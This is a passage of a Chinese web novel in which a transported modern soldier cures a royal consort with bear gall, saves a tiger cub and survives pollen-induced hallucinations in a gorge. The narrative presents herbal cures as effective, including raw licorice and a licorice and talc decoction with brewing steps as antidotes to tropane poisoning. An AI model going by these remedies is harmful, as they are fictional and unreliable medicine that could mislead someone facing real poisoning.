这红棍为什么要说他不在?
“薛小爷本事了得!咱瞒不过您,直说了吧,有位说不得的大官人到了咱和盛堂看病,雷把头正在里面应付着呢。”
“为了接待这位大官人,咱们和盛堂特地清了场,已经两天没做生意了。”
“薛小爷您多担待,等这位大官人走了,您再来,怎么样?”
给说不得的大官人看病?
薛猛闻言一愣,随即满不在乎道:“没事儿,我就在这儿等着就行。”
看个病而已,很快的事情!
然而红棍却道:“哎呀,薛小爷你有所不知,这大官人的毛病可不好看呐,一时半会儿估计是不会走的。”
“要不你们还是先回去吧。”
“回去?我们大老远赶了半天路从山里进趟城,我们容易吗?”
徐守业大女婿周堂没好气道:“这一路上,又要提防豺虫虎豹,又要提防响马棒匪,那可不是闹着玩的!”
李正也道:“没错,更何况这‘山货’不比寻常货物,一来一回要是臭了,那可就砸手里了。”
“雷把头,外面是何人在争吵?”
和盛堂内,重重帷帐之内,传来一个慵懒的声音。
那声音,像浸在温水中的珠玉,圆润里裹着一层柔滑的凉。
每个字都轻轻落在空气里,尾音微微往上挑了半分,像指尖拈起一片羽毛般漫不经心。
给人一种高高在上的感觉。
“哦,是小民一个晚辈侄儿,想来是来送山货的,乡下人,不懂规矩,娘娘多多担待。”
雷把头已经听见门外薛猛的声音,唯恐惊扰了帷帐里的贵人,连忙替薛猛开解。
“雷把头,脉也把了些时辰了,本宫这病有得治吗?”
雷把头缓缓收回手,额角垂下一滴汗水,不太敢轻易下结论:“娘娘,您这病太医院那几位老哥哥怎么说?”
“太医院那些废物,已经被砍了头。”
“……”
雷把头手一抖,汗水啪嗒掉落在地,摔成八瓣。
“雷把头,你可是白虎军大名鼎鼎的神医,当年霍将军病得那么重,都是你治好的。”
“虽然如今你下野了,但本宫还是信任你的。”
“本宫这次回蜀郡省亲,特地下来看你,你该不会让本宫失望吧?”
慵懒声音,透着若有若无的寒意。
雷把头咽了口唾沫。
“娘娘万金之躯,小民不过一介草泽郎中,实不敢妄下定论!”
“但说无妨!”
“娘娘,以小民之见,您这病只怕是天下无人能医呀。”
呼!
雷把头话落,帷帐内寂静无声。
但空气中却隐隐有杀机暗藏。
雷把头连忙又道:“娘娘,哪怕是冒着砍头的风险,小民也不能隐瞒你……”
“你这病乃是长期服食五石散,以至于肝胆损伤,所以才会浑身长疮,夜不能寐!”
那人道:“本宫已经戒了,又吃了许多解毒药物,为何还是没有半点好转?”
“毒已入体,寻常解毒草药,已经无能为力,除非……”
“除非什么?”
“除非有百年熊胆!!”
雷把头这句话还没出口,身后却响起薛猛的声音。
他顿时心里咯噔一下,这小子怎么进来了?冲撞了娘娘还得了?
“雷把头,薛小爷非要进来,我们实在拦不住!”
两名红棍捂着脱臼的胳膊,面色痛苦。
薛猛的力气太大了,他们根本挡不住!
“雷叔,我方才在门外听了半天,也算是听明白了!”
薛猛手里拎着风干的熊胆,走进和盛堂里间,对着帷帐后的“贵人”说道:“这位官人,你的病我有办法治!”
“看见我手里这熊胆没?这可是百年熊胆,要论解毒,此物天下第一啊!”
见薛猛跟娘娘说话大大咧咧,嗓门老大,雷把头吓得汗流浃背,小祖宗,你不要命呐!
“薛贤侄,休要胡闹!百年熊胆老夫也只在古书上见过记载,从未见过实物!你从哪儿能弄到百年熊胆?”
寻常的棕熊,活个三五十年就算长寿了。
百年熊胆,纯粹就是传说之物!
所以,雷把头才说娘娘的病天下无人能医。
因为天下没人能找到真正的百年熊胆!
说完,雷把头连忙跪在地上,替薛猛向帷帐后的贵人赔罪:“娘娘,我这侄儿天生痴傻,他在这儿胡言乱语,您千万莫要动气!”
“来人,赶快把这痴儿带下去,莫要让他惊扰娘娘!”
说着,雷把头连忙朝薛猛使眼色,示意他赶快开溜。
几名伙计也是连忙上前,劝说薛猛,赶快离开。
“雷叔,我不是傻子,我也没胡说!”
见雷遇明不相信,薛猛索性朝着帷帐后走去:“我说,你马上就快死了,你不打算试试?”
看见这一幕,雷把头吓得魂儿都快飞了。
店里其他伙计无不是两眼一黑,汗流浃背。
薛猛若是冲撞了这位贵人,和盛堂就算是完了!
然而令人意想不到的是,帷帐之后却轻飘飘传来一句。
“试试也无妨。”
雷把头闻言一怔。
店里伙计全都傻了眼。
第33章 千两银票到手
“薛贤侄,你这熊胆真是百年熊胆?”
雷把头看着薛猛手里的熊胆,仍旧半信半疑。
薛猛轻笑道:“如假包换!”
雷把头犹豫了片刻,一咬牙一拍大腿,豁出去了,拼一把!
“行,那咱就试试!”
熊胆,本就是解毒圣品。
百年熊胆,那更是传说中可解百毒的神药。
如果薛猛这百年熊胆是真货,那娘娘的病就有救了!
“雷叔,亲兄弟明算账,我这熊胆要是真有效,你打算给多少钱?”
雷把头正要接过薛猛手中熊胆,后者却缩回手,问起了价钱。
“嘿哟,祖宗,别闹了!都什么时候了,还谈钱!”
雷把头朝帷帐后扬了扬下巴,凑近薛猛耳边,压低声说道:“你知道这位是谁吗?治好了她的毛病,还少得了你的银子?”
“快给我吧!”
薛猛松了手:“拿去吧,这可有两斤多啊,少说也得值百两银子。”
雷把头拿着熊胆,立即转身去了药房。
薛猛则在凳子上大咧咧坐下,瞅了眼帷帐后若隐若现的雍容身影,从旁边鎏金果盘里揪了颗葡萄往嘴里一丢:“我管他是谁,给钱不就行了吗?”
“我擦,这盘子都值不少钱吧。”
薛猛拿起果盘看了看。
和盛堂为了招待这位“贵人”,还真舍得下本儿。
这得多大的屁股啊?
“娘娘,药好啦!”
不多时,雷把头端着药,小心翼翼撩起帷幔,一只带着金银护甲的纤纤玉手伸了出来,接过药盏。
没一会儿,药盏递了出来,雷把头连忙弯腰接过。
“苦啊!”
慵懒声音嘤咛一声。
雷把头赶紧笑着接话:“良药苦口嘛。”
半盏茶功夫不到,帷幔里贵人语气平静了不少,竟还透着些许笑意。
“嗯,身上不热了,心里也好受些,这药有些效用。”
“本宫乏了,睡一会儿。”
睡一会儿?
原先浑身滚烫夜不能寐,现在居然说要睡一会儿?
听到这话,雷把头悬着的心总算放下了。
呼!
和盛堂上上下下,伙计帮闲、护宝红棍面面相觑,全都松了口气。
娘娘能睡下去,说明病见好了!
不多时,帷幔里传来轻细均匀的呼吸声。
雷把头挥挥手,示意大家出去,不要惊扰了这位贵人睡觉。
薛猛看着这一切,摇摇头。
作为一个现代人,他实在看不得这种卑躬屈膝伺候主子的样子。
贵人不也是人吗?
能比谁多个皮炎儿不成?
搞这么大排场!
“薛贤侄,你这次可是帮了咱们和盛堂大忙啊!”
来到和盛堂外堂,雷遇明握住薛猛的手,老脸笑得像绽放的菊花。
湘儿欣喜道:“多亏了薛小爷的百年熊胆,不然咱们和盛堂可就要关门大吉了!”
一个伙计指了指里间,压低声道:“何止关门,那位若是一个不高兴,咱们全得人头落地!”
“钱呢?”
说那么多,不如给钱实际!
薛猛直接摊手要钱。
“你瞧我,都高兴得忘记给你拿钱了!”
雷把头连忙让柜上给薛猛支钱。
“薛贤侄,你的那些熊肉、熊骨、熊皮,就不用验货了,咱们也不是外人儿,咱和盛堂全给你包了!”
“这是一千两银票,你收好。”
一千两!
听到这个数字,周唐、李正险些昏厥在地。
一头棕熊,卖了一千两!
说出去都没人信!
但薛猛却是淡定自若,随手接过银票,看了看票号,方才收进衣兜。
他很清楚,雷遇明这一千两买的不仅仅是这头棕熊。
更是今日他替和盛堂免却了一场灭顶之灾!
“雷叔,合作愉快,晚辈就告辞了,咱们下次再会!”
熊卖了。
薛猛也算是了却了一桩事,当即带着周堂、李正拱手告辞。
“薛贤侄慢走啊!”
雷遇明带着湘儿,一直将薛猛一行人送出了东市肉庄,方才依依不舍地回到和盛堂。
回到和盛堂,伙计说帷幔后的贵人已经醒了,要找雷把头问话。
雷遇明连忙进了里间。
只听那贵人开言道:“雷把头,跟我回太医院做御医如何?”
“娘娘,小民野惯了,怕是登不得大雅之堂。”
雷遇明连忙婉拒,伴君如伴虎,不想活了才当御医呢。
“成吧,那就赏你黄金百两,蜀锦五十匹,铺面八间,南海珍珠五枚,赐和盛堂‘妙手回春’金匾一块。”
“小民跪谢娘娘洪恩!”
“对了,他叫什么名儿?”
雷遇明闻言一愣,随即反应过来,这个“他”是指薛猛。
当即回道:“姓薛,单名一个猛字。”
“好名字,难怪能弄到百年熊胆,想来是条威猛的好汉。他还在吗?”
“走了!”
“可惜了。赏他黄金五十两,宝刀一口,好弓一把,良马一匹。”
“小民替侄儿拜谢!”
……
“怎么样白叔,黑风岭那边,有没有什么动静?”
大槐树下,铁匠铺内。
薛猛对坐在椅子上的老白头问道。
“这是老徐的眼线传来的飞鸽传书,你自己看看吧。”
接过老白头递过来的信条,薛猛展开一看,悬着的心总算暂时放下。
黑风岭匪众并无倾巢而出的迹象。
那就好……
卧虎村目前还是安全的。
老白头道:“不过你们也不能掉以轻心。”
“就算黑风岭的匪寇不来,也得提防其他响马。”
“我今早去米店买粮米,发现米价越来越高,米店老板说蜀郡又发了洪水,不计其数的房舍被冲毁,千亩良田一夜化作汪洋……”
“难民越来越多了,老百姓活不下去,定然又会滋生更多的匪寇!”
“以前你们一穷二白,贼来了也没什么可抢的,但现在不一样了,你有钱有粮,贼可都惦记着呢!”
薛猛点点头。
那倒是!
现在自己身上怀揣一千两银票。
说多不多,说少也不少!
一千两白银,对那些贪官和巨贾而言微不足道,但对于老百姓而言无疑是个天文数字。
很多底层百姓起早贪黑摸爬滚打一辈子,都赚不到这么多钱。
若是在卧虎村躺着,这些钱薛猛吃两辈子都吃不完。
但身逢乱世,躺平是不可能躺平的……
有句话叫做树欲静而风不止,手里握着一千两白银,很容易沦为匪寇眼中的肥羊。
在这个世界,不光要有钱,还得有权有势,有自己的一帮人,才能站稳脚跟!
光靠打猎,迟早有一天会把山里的猎物吓跑,不是长远之计。
而且没办法聚拢自己的一帮人!
薛猛卖完棕熊后,带着李正周堂四处考察市场,总算掌握了三条又能持续生财,又能聚拢人心的路子。
其一,自然是之前就想好的酒坊,蒸馏高度白酒,肯定能大卖。
其二,开个鱼胶作坊,组织捕鱼队捕鱼。
至于其三么,自然就是改进冶炼技术,打造铁锅和钢刀。
“待了这么久的老地方,突然要离开,还真有点舍不得!”
老白头从地窖里拖出一大包东西,拍了拍身上的灰尘,环顾着铁匠铺子,不禁感慨万千。
徒弟罗飞也是提着大包小包,但他没有太多感慨,反而特别高兴。
把铁匠铺搬去卧虎村好哇!
以后跟着薛猛这个土财主,天天吃肉,终于不用跟着师父挨饿了!
“啪!”
罗飞正畅想着以后顿顿吃肉的美好生活,却被老白头一巴掌拍在脑门上,打回了现实。
“师父,你打我干啥?我这次可没招你!”
老白头哼了一声,一副看穿一切的眼神:“别以为你小子不说话,我就不知道你心里想些什么!”
“瞧你刚才那傻笑的劲儿!”
“不就是想着跟着你薛大哥,有肉吃吗?”
“怎么,老头子我亏待你了?”
罗飞瘪了瘪嘴。
亏没亏待,你自己心里没数吗?
看着这俩师徒打闹逗趣,薛猛会心一笑,说道:“那行,趁着早上凉快,咱们就出发吧!离开村子这么多天,家里女人也该想咱了……”
闻言,周唐、李正对视一眼,会心一笑。
他们都是有家室的人,确实这几天憋坏了!
罗飞却是满脸不忿:“你们一个个倒是都有伴儿,我又没女人,没人惦记俺这个光棍子。”
薛猛拍了拍罗飞的肩膀,安慰道:“小伙子别急嘛,到了村里加油干!争取早日帮哥把钢刀和铁锅造出来,明年哥再给你找个嫂子!”
“嘿嘿,好!薛大哥,还是你对俺最好!我罗飞这辈子,跟定你了!你让俺打铁,俺绝不摸鱼!”
闻言,罗飞摸了摸头,乐得合不拢嘴。
全然没有意识到薛猛的话有什么不对劲。
“出发!咱们回家!”
薛猛一行人,浩浩荡荡出了洪雅县城门。
周堂、李正赶着骡车在前面开道。
罗飞和几个师兄弟紧随其后。
来的时候,三个骡车上装着熊皮、熊肉、熊骨,回去时则换成了粮食、铁矿、布匹,以及一些杂七杂八的工具和用品。
薛猛和老白头跟在队伍最后面,讨论如何改进冶炼技术。
老白头不愧被称为“铁臂神”,很多地方,薛猛稍微一点拨,他立马就能够会意。
若是生在科技昌明的时代,老白头的成就绝不止做个铁匠。
而老白头对薛猛也是越来越钦佩,他实在想不通,薛猛年纪轻轻,怎么会如此精通锻造。
并且他提出的各种新式武器,老白头以前是闻所未闻!
打了一辈子铁都没整明白的难题,薛猛三两句话就点出了问题的根源。
二人相见恨晚,正谈得起劲,队伍突然停了下来。
还没等薛猛问怎么回事,就听见前方不远处,传来一声令人闻之毛骨悚然的虎啸。
“吼嗷呜……”
第34章 初遇白虎崽子
“大家小心!”
听见虎啸的刹那,薛猛顿时如临大敌,第一时间从板车下面抽出藏起来的竹胎复合弓和狼牙箭,冲到了队伍最前面。
将徐守业护在身后。
罗飞、李正、周堂等人也都纷纷抽出提前藏好的铁棍,紧跟在薛猛身后。
满脸警惕地望着前方不远处的山谷。
薛猛虎目微眯,拉开手中长弓,将箭头对准山谷,额角垂下一滴汗水。
只等猛虎出现,露头就秒!
几人严阵以待,本以为会有一场恶战,却不想事情完全和他们想象中的不一样。
“嗷呜~!”
只见,一只浑身沾满血迹,灰头土脸,个头比猫大不了多少的虎崽子,仓皇逃出山谷。
十几条野狗紧随其后,将它团团围住。
虎崽子冲着野狗发出虎啸,想要以此震慑那群野狗。
但,那些野狗仗着数量多,根本不怕这只个头瘦小的虎崽子,一个个眼冒绿光,龇牙咧嘴,随时准备扑上来,将这只虎崽子分食。
虎落平阳被犬欺!
这句话再现实不过了。
“老子最看不惯以多欺少的!”
罗飞甩臂一掷,一道寒芒脱手而出。
啪!
飞刀破风劈出,径直插进了一只野狗胸肋。
噗叽一声,一股血花子飙溅而出,野狗惨嚎倒地,狗嘴里不停呛着血,抽搐了几下便不动了。
“罗兄弟好刀法!”
得到薛猛赞赏,罗飞摸了摸头,跟个受到老师表扬的小学生一样拘谨害羞。
心里却是美滋滋的。
连他自己都不知道,自己什么时候这么在意薛猛的看法了。
自从得知薛猛射杀了棕熊后,他对薛猛是一点怨言都没有了。
“比起薛大哥一箭射穿棕熊脑袋的通天本领,小弟这点本事不算什么。”
罗飞正和薛猛说笑着,忽见薛猛脸色大变,喝一声“当心”。
几乎是同一时间,耳边疾风呼啸,一支狼牙箭擦着他的脸朝他身后射去。
罗飞目光惊颤,僵硬扭头看去。
只见一只狰狞野狗,张开血盆大口,朝着他后脖颈扑来,眼看就要咬住他的脖子,就被薛猛那支狼牙箭射进了嘴里。
中箭的野狗,像是断线的风筝般从半空中摔落,背脊骨重重砸在地面响起骨折声。
整个狗头连骨头带肉,被狼牙箭搅碎成一滩渣滓。
失去狗头的尸体,以一种极其扭曲的姿态,蜷缩在地上,死相极其凄惨。
“咕咚。”
罗飞喉头滚动,用力咽下一口唾沫,背后已被冷汗湿透。
其余猎狗,泛着绿光的狗眼,全都惊恐地望着薛猛,纷纷夹着尾巴落荒而逃。
但薛猛并没有打算就此放过它们,弓弦撒放之间,接连数箭破风射出。
这些恶狗连虎崽子都敢吃,显然不是什么善类,若是不除掉它们,以后派人进城卖货,说不准会有无辜之人成为它们的腹中之食。
“嗷嗷!嗷嗷!”
只听得几声凄惨狗叫。
先前凶神恶煞的野狗,转眼间就横尸遍地。
“薛大哥,我欠了你一条命。”
罗飞缓过神来,感到很是惭愧。
“啪!”
老白头一巴掌拍在罗飞头上,教训道:“谁让你小子去招惹那群野狗的,没听说过疯狗不能惹吗?”
罗飞满脸委屈低下了头。
“白叔,罗兄弟做得不错。”
薛猛为罗飞开解道:“这群野狗不是善类,若不杀死它们,等它们吃完虎崽子,大概率也会朝我们发起进攻。”
周堂抬头看了看天色,发现头顶有燕子低飞,当即皱眉道:“薛兄弟,咱们还是继续赶路吧!”
“尽量赶在天黑之前回到村子,看这天儿,估计要下大雨了~”
“前面那条路,挨着迷魂凼,天一黑,可就不敢走了。”
罗飞面露不解。
“周兄,为什么天一黑就不能走了?咱们不是已经绕开有棒子手出没的大路了吗?”
“那你猜猜,为什么唯独咱们走这条路,没有棒子手敢来?”留下这句话,周堂挥舞鞭子,赶着骡车向前奔去。
罗飞摸了摸头,想了想,愣是丈二和尚摸不着头脑。
随即扭头向薛猛投去询问的目光:“薛大哥,周兄这话,啥意思啊?”
薛猛背着弓箭,低头赶路,沉吟不语。
迷魂凼这个地方,可以说是整个卧虎山脉十几个山头中,最诡异神秘的禁地。
整个白虎乡的人,提起迷魂凼都是谈虎色变。
据裴红玉说,就连那只棕熊,也是从在迷魂凼里跑出来的……
“罗兄弟,别问那么多了,咱们快走吧!”
周堂是徐守业大女婿,老成持重,他既然这么说,肯定有他的道理。
薛猛留下这句话,也加快了步伐,紧跟着周堂向前走去。
“那行吧。”
罗飞点点头,招呼几个师兄弟,挑出一些尸体比较完整的野狗,抬上了板车。
蚊子腿也是肉。
不能浪费。
薛猛一行九人,赶着三匹拉车的骡子,因为行李太重,速度实在快不起来。
紧赶慢赶,勉强在太阳落山前,赶到了紧挨着迷魂凼的山谷。
山谷入口极其狭窄,每次只能容许一辆板车单独通过,因此被附近村民唤作“一线天”。
“周兄,咱们要进谷吗?天色可不早了。”
眼看太阳将要落山,薛猛皱了皱眉,总感觉心里不太踏实。
“进吧,这前不着村后不着店,若是下大雨了更加麻烦。”
周堂权衡一二,做出了决定:“咱们走快些,也能在天黑透前出谷,出了谷离村子就不远了。”
“行,那换我在前面开路!”
薛猛手握长弓,率先进入一线天。
其余人跟在后面,驱赶着骡车一辆辆进入,彼此保持着五六米的距离。
刚进山谷不久,就能明显感受到里面温度比山谷外低了不少。
明明是大夏天,薛猛却不由得紧了紧身上的衣服。
这一线天两旁全是悬崖绝壁,藤萝附生,隐天蔽日,谷底本来就晒不到什么太阳。
再加上马上快要下雨,天上乌云密布,走在谷底,几乎和晚上差不多。
不时有乌鸦在头顶盘旋,发出刺耳的哀叫。
仿佛在预示着有什么怪事将要发生。
第35章 一线天撞邪
进入一线天不久,薛猛就有些后悔走这条路了。
若不是大路上有棒子手拦路劫掠,估计没人愿意抄这条小路。
话又说回来,连棒子手都不敢来的地方,能是什么好地方?
前几次走这条路,赶上中午太阳大,倒不觉得有什么,现在赶上这鬼天气,加上天快黑了……
越往深处走,光线就越阴暗。
薛猛不得不点起了火把。
咔嚓……
刚点上火把,没走两步,脚下忽然传来什么东西断裂的咔嚓脆响。
用火光一照,居然是踩到半截白骨。
看形状,不似动物的骨头,而是人的大腿骨。
一踩就折了,只怕是有好些年头了。
旁边还有一个骷髅头骨,一条小蛇从骷髅眼窝中探出蛇头,冲薛猛吐蛇信子。
“周兄,李兄,白叔,罗兄弟,大家都当心脚下!”
薛猛定了定心神,提醒了一句,继续往前走。
但奇怪的是,身后没有一个人回应他。
薛猛这才意识到有些不对劲,回头一看,愣住了。
自己身后一个人也没有。
李正、周堂、老白头、罗飞……
还有骡车。
全都不见了。
阴暗狭长的山谷之中,空空荡荡,除了那些风化的白骨和蛇虫鼠蚁,就只剩下薛猛一个人。
明明刚才大伙都还跟在自己身后,怎么转眼功夫人就全都消失不见了?
薛猛举着火把,往回走。
看见一辆板车。
三条黑影围在板车前,仿佛在啃食什么东西,吃得特别香。
“罗兄弟,你们在吃什么呢?”
薛猛凑上前去,那几道黑影特别像罗飞和他的几个师兄弟。
听到薛猛的声音,三条黑影停下动作,脖子僵硬扭转,回头看向薛猛。
三双眼,全都冒着绿光。
竟然是先前被射杀的那些野狗!
狗头人身……
这是什么东西?
薛猛心头一惊,连忙抬起手中长弓,对准其中一只野狗一箭射出。
这一箭正中野狗头颅,但没有留下任何血迹。
薛猛近前一看,那三条黑影全都消失了,自己的箭插在板车上,箭羽还在微微颤动。
“这是……什么情况?”
薛猛虎目一震,额角垂下一滴冷汗,内心涌现出一种前所未有的恐惧情绪。
经过部队残酷的魔鬼训练,又迎接了枪林弹雨洗礼。
他早已忘却恐怖是什么感觉。
可现在,他居然真的有些怕了。
这个世界,难不成真有什么超自然的东西存在?
此时此刻,薛猛脑海中浮现出裴红玉先前的忠告。
天黑莫入迷魂凼,否则神仙难救!
这一线天,据说和传说中的迷魂凼相距不远,也是时不时有怪事发生。
方才发生的事情,除了闹鬼,没别的解释!
火把的光越来越微弱,只能照亮身前的一小片地方,随着火光摇曳,薛猛坚守唯物主义精神的内心,也不由得有所动摇。
“白叔,罗飞!”
薛猛壮着胆子,大声叫了几声。
声音在山谷间回荡开去,但却依旧没有任何人回应他。
周遭漆黑一片,时不时刮来一阵阴风,直往骨头缝子里钻。
“我擦!邪了门了!”
薛猛咽了口唾沫,举着火把,向前走去。
心里烦躁不安,七上八下的。
老白头他们,到底上哪去了?
该不会被刚才那些脏东西拖走了吧?
薛猛走了半天,也没走出一线天,兜了个圈子居然又回到了刚才停着板车的地方。
坏了!
难不成是遇上鬼打墙了?
这尼玛,但凡来只吊睛白额猛虎,他都不带怕的!
因为那是看得见摸得着的活物,但要真有脏东西,仅凭自己手里的弓箭,怕是无济于事。
“不对,肯定有哪里不对,这个世界上没有鬼怪。”
“我可是坚定的唯物主义者,怎么能被这些牛鬼蛇神吓唬到?”
薛猛不停暗示自己,冷静下来。
就在这时,山谷里忽然传来一声摄人心魄的虎啸。
薛猛猛地一个激灵,抬眼一看,先前那只被野狗欺负的虎崽子,不知何时走进了山谷。
虎崽子嘴里衔着一根金条,放在薛猛脚边。
然后咬住他的裤腿,使劲拽了拽,仿佛在示意薛猛收下这根金条。
薛猛先是一愣,随即鬼使神差般捡起了那根金条。
就在拿起金条的刹那,一股带着轻微苦涩和药香的甜味,扑鼻而来。
闻到这股香味,薛猛心神一震,双目顿时恢复了些许清明。
只见手里的东西哪里是什么金条,分明是一根树根子。
“甘草?”
熟识千百种中草药的薛猛,瞬间就认出了这树根子,正是一味叫做甘草的中药材。
上面还附着的泥土,显然还是新鲜的,刚刚被挖出来。
虎崽子抬起蓝色虎眸,冲薛猛发出低沉的咕噜声。
“这是你从地里刨出来的?给我吃?”
薛猛诧异问道。
虎崽子仿佛能够听懂人话,居然垂下头,表示肯定。
“我明白了。”
“谢谢你。”
薛猛将甘草放进嘴里,使劲咀嚼起来。
随着甘草纤维被嚼烂,一丝丝带着苦涩的甘甜味道,逐渐在口腔里晕染开来。
薛猛咽下几口饱含甘草甜素的唾液,眼神顿时恢复了清明。
抬眼环顾四周。
骡车全都在。
几条野狗的尸体耷拉在板车上,早就发硬了,根本没有活过来的迹象。
狗头人身的怪物,更是不复存在。
老白头和李正、周堂等人,则是晕倒在板车旁边,像是喝醉了酒一样,脸红耳赤,嘴里还叽叽咕咕说着胡话。
“香!真香!”
“掌柜的,你家这手抓羊肉真是太美味了,开在这半山腰上实在可惜,应该去城里开,生意肯定爆火!”
听到这动静。
薛猛一扭头,就见罗飞坐在一堆白骨旁边,两只手抓着一根大腿骨,嚼得嘎嘣脆,仿佛在吃手抓羊肉。
连忙掰下一小块甘草,来到罗飞面前,夺过他手里的大腿骨,将甘草塞进了他的嘴里。
罗飞嚼着嚼着,脸上的笑容凝固了。
“呸呸呸!这什么玩意儿?”
罗飞吐出嘴里的药渣,眼神恢复了清明。
抬眼看见薛猛,罗飞顿时喜出望外:“薛大哥?你也来了?我正愁找不着你们了呢!来来来,我找到一家特别好吃的羊肉店,快一起吃点。”
罗飞从地上拿起一截白骨,递给薛猛。
“羊肉?你再好好看看,你吃的真是羊肉吗?”
听到薛猛这话,罗飞这才察觉出不对劲,扫了眼手里的东西,顿时吓得从地上蹦了起来。
“我擦!”
“我刚才不是在吃手抓羊肉吗?”
“怎么会……”
一想到自己刚才吃的是这东西,罗飞当场呕吐了起来。
“薛大哥,这到底是怎么回事?”
把吃进去的全吐了出来,罗飞擦了擦嘴,嘴唇哆嗦道:“该不会是闹鬼了吧?”
“闹个屁!这个世界上,根本没有鬼!咱们是中毒了!”
薛猛高举火把,火光照亮了两边的悬崖。
在一处悬崖的夹缝中,一株硕大的黑色花朵,肆意绽放,宛若从地狱生长而出,散发着妖冶而危险的气息。
一阵阴风拂过,花蕊轻轻摇曳,细微如尘的剧毒花粉,随风飘荡于山谷之间。
这山谷里的森森白骨,想必就是它的杰作。
第36章 李贺已有取死之道
“薛大哥,这是什么花,看上去怪渗人的。”
罗飞眸光一颤,满脸惊奇之色。
“哎!我早就应该发现这玩意儿的,大意了,进谷时没有细看。”
薛猛叹了口气,这才说道:“这东西叫做醉仙桃,它的花粉含有莨菪烷类生物碱,一旦吸入,就会对人的中枢神经系统和外周神经系统产生极强毒性。”
“使人如同醉酒,产生各种幻觉。”
“啥是神机中书?薛大哥,你的话我怎么一句也听不懂?”
以罗飞的智商,想要理解这些现代术语,基本上是不可能的。
见他满头雾水,薛猛只好用大白话解释道:“你只需要记住,这东西有毒!吸入它的花粉,就能让人产生幻觉,甚至死亡!”
“你刚才将白骨当作羊肉,就是因为中毒产生了幻觉!”
“而我给你吃的甘草,正好可以化解这醉仙桃的毒性。”
闻言,罗飞终于露出一副恍然大悟的神情:“哦!我明白了!原来这一线天闹鬼的传说,都是谣传?其实是中毒产生的幻觉?”
薛猛欣慰地点点头,这家伙总算反应过来了。
“不对呀薛大哥,为什么你们之前从这里进城没有中毒?”
四肢发达头脑简单的罗飞,罕见地发现了疑点。
薛猛想了想,道:“我想,大概是因为醉仙桃的花苞,通常是在入夜时才开放,因此白天进谷,很少有人中毒。”
白天过一线天是安全的。
到了晚上,醉仙桃花朵开放,山谷里弥漫着花粉,人们一旦进入就会中毒,产生幻觉。
久而久之,就传出一线天晚上闹鬼谣言。
乡人愚昧,信以为真,所以才留下一条不成文的规矩,晚上不能走一线天。
“既然这甜甜的树根子能解毒,那咱们赶快给徐伯和我师父也解毒吧!”
罗飞捡起刚才丢在地上的甘草,就准备往老白头嘴里硬塞。
瞥了眼脸色酡红,倒在地上宛若醉酒的李正周堂和老白头。
薛猛满脸无奈,摇了摇头。
“他们吸入的花粉应该比我们多,中毒太深了,仅仅靠甘草这一味药是不济事了,还需要配上其他的药组成复方,熬成汤药服下,方能奏效。”
“咱们得赶快把他们送回卧虎村。”
片刻后。
骡车全速奔出一线天。
冲出一线天的刹那,薛猛忽然想起什么,蓦然回首。
漆黑的山谷间,一双虎眸散发着幽幽蓝光,正远远望着他。
四目相对之间,薛猛心中一动。
他居然在一只虎的眼中,看到了人类一样的情感。
可当它想要捕捉那道目光时,那双虎眸转瞬间便消失不见了。
薛猛心中怅然若失。
但愿下次还能再见面吧。
总感觉,这只虎崽子和自己挺有缘的。
出了一线天,路就好走多了。
不远处,老杨树像忠诚的卫士,屹立于卧虎村村口。
树枝迎风舞动,仿佛在向薛猛他们招手。
“罗兄弟,你先送他们到我家去,多给他们喂些茶叶水。”
“刚才没用完的甘草,直接用陶罐加两碗水煎煮,先大火煮沸,然后转为小火,把两碗水熬成一碗水。煎好后,先放着,别给他们喝。”
“我进山挖些滑石回来。”
老白头的中毒症状越来越严重,甚至开始发狂打人。
显然中毒已深。
薛猛不得已将他们用绳子捆了起来,交代了如何煎药后,随即与罗飞分头行动。
“薛大哥,这把刀你拿着。”
薛猛背着弓箭,接过罗飞丢过来的一把短刀,调头朝卧虎山中赶去。
暮色四合,百雀归巢,天已黑透了。
卧虎山笼罩在黑暗中,薛猛手举火把,循着记忆,来到了一处岩层裸露在外的山坡。
“上次进山,我记得就是在这附近,看见过滑石矿。”
薛猛用火光照了照,虎目环视周遭。
在一片灰黑色的粗砺页岩中,夹着一层亮眼的白色矿脉,仿若凝固的羊脂。
矿脉与周围黑色岩石的交界线,泾渭分明。
“找到了,就是这个!”
薛猛眼前一亮,拔出短刀,在白色矿脉上轻轻一剜,一大块质地细软如蜡膏的滑石,就被刀身带了出来。
薛猛连忙用一块布包住滑石。
别看这滑石名字里带个“石”字,但这东西,质地特别细腻柔软,可以说是硬度最低的矿物之一。
前世,很多痱子粉、爽身粉里面的主要成分就是这东西。
但同时,这玩意儿也是一种天然利尿剂!
和甘草搭配起来,组成甘草滑石汤,服用之后,便可以让老白头他们体内的毒素,从尿液里排除。
薛猛拍了拍裤腿上沾上的滑石粉末,带着滑石往家里赶。
回到家,却发现罗飞怵在门口,神情异样。
“怎么了?我不是让你熬药吗?傻站着干啥?”薛猛问道。
罗飞满脸苦涩,似有什么难言之隐。
以往薛猛回家,还没到家门口,家里的女人们总会第一时间出来迎接。
而今天,院子里却一点动静都没有。
安静得有些过头了。
薛猛眉头轻皱,意识到有些不对,独自跨进了自家院子。
“雅娴,我回来了!”
薛猛唤了几声,却没有得到任何回应。
踹开房门,房间里空空荡荡,一个人影都没有。
锅碗瓢盆,桌椅板凳,全被砸得稀巴烂。
好不容易有了些起色的温馨小家,转眼功夫,沦为了废墟……
发生了什么?
三天没回家,家里怎么变成这幅鬼样子?
难道响马已经进村劫掠过了?!
娘子人呢?!
是死了,还是被掳走了?
无数疑问萦绕心头,薛猛先是惊愕,旋即感到前所未有的愤怒!
就在这时,身后传来罗飞满怀歉意的声音:“薛大哥,我刚回来,你家里就已经是这幅情景了,我也不知道发生了什么!”
“但是,看门前留下的马蹄印,绑走嫂子她们的人,应该刚走不久……”
“若是我回来早点,说不定就能拦住他们!”
薛猛强压心头怒火,转身来到自家门前,蹲下身,查看起地上留下的马蹄印。
泥都还没干透,的确很新鲜。
“到底是谁干的!”
薛猛抓起一把泥土,拳头捏得咯咯响。
抬眼望向马蹄印延伸的方向,冰冷虎目怒火升腾。
不管对方是谁!
在薛猛眼中,都已有取死之道!
“是长根儿回来了吗?”
就在这时,一个熟悉的声音从身后响起。
薛猛转过头,见是张婶。
正准备开口问她,知不知道自己家发生了什么,张婶却满脸警惕。
左右看了看,拽着薛猛胳膊,压低声道:“这里不是说话的地方,去婶子家。”
片刻后,薛猛一行人来到了张婶家。
罗飞按照薛猛的吩咐,熬了甘草滑石汤,给老白头和几个师兄弟服下。
服完药不久,几人面色明显好转不少,只是依旧未曾醒来。
而张婶和薛猛则在油灯前,谈起薛猛离开这几天,薛家发生的事情。
